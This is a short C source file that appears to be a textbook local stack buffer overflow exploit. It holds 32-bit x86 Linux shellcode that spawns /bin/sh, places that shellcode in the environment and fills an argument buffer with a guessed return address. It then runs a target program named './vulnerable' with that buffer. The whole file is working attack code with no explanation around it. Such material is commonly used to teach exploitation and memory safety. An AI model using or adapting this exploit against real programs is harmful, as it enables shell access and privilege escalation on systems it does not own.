text: #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  
  char shellcode[] =
  "\x31\xc0"              /* xor %eax, %eax       */
  "\x50"                  /* push %eax            */
  "\x68\x2f\x2f\x73\x68"  /* push $0x68732f2f     */
  "\x68\x2f\x62\x69\x6e"  /* push $0x6e69622f     */
  "\x89\xe3"              /* mov  %esp,%ebx       */
  "\x50"                  /* push %eax            */
  "\x53"                  /* push %ebx            */
  "\x89\xe1"              /* mov  %esp,%ecx       */
  "\x31\xd2"              /* xor  %edx,%edx       */
  "\xb0\x0b"              /* mov  $0xb,%al        */
  "\xcd\x80";             /* int  $0x80           */
  
  #define BSIZE 34
  #define RET 0xbffff94c
  int main(int argc,char **argv)
  {
          int bsize=BSIZE;
          unsigned long ret=0xc0000000-strlen(shellcode)-1-strlen("./vulnerable")-1-sizeof(void*);
  
          if(argc>1) bsize=atoi(argv[1]);
          if(argc>2) ret=atoi(argv[2]);
  
          char *buf=(char *)malloc(sizeof(char)*bsize);
  			buf[0]=buf[1]='a';
  
          int i;
          for(i=2;i<bsize;i+=4)
                  *(long *)&buf[i]=ret;
  
          char *args[]={"./vulnerable",buf,NULL};
          char *env[]={"HOME=/root",shellcode,NULL};
  
          execve(args[0],args,env);
  
          return 0;
  
  }
  